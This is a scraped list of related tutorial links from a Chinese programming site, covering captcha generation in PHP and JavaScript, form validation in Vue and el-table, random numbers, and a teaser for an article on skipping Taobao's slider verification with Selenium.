    验证码类文件 CreateImg.class.php <&#63;php class ValidationCode { private $width,$height,$codenum; public $checkcode; //产生的验证码 private $checkimage; //验证码图片 private $disturbColor = ''; /...2015-11-08
  • el-table树形表格表单验证(列表生成序号)

    这篇文章主要介绍了el-table树形表格表单验证(列表生成序号),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-01
  • selenium 反爬虫之跳过淘宝滑块验证功能的实现代码

    这篇文章主要介绍了selenium 反爬虫之跳过淘宝滑块验证功能,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-08-27
  • 基于JavaScript实现验证码功能

    这篇文章主要介绍了基于JavaScript实现验证码功能的相关资料...2017-04-03
  • js生成随机数的方法实例

    js生成随机数主要用到了内置的Math对象的random()方法。用法如:Math.random()。它返回的是一个 0 ~ 1 之间的随机数。有了这么一个方法,那生成任意随机数就好理解了。比如实际中我们可能会有如下的需要: (1)生成一个 0 - 1...2015-10-21
  • vue实现表单验证小功能

    这篇文章主要为大家详细介绍了vue实现表单验证小功能,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-09-29
  • js canvas实现滑块验证

    这篇文章主要为大家详细介绍了js canvas实现滑块验证,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-03-14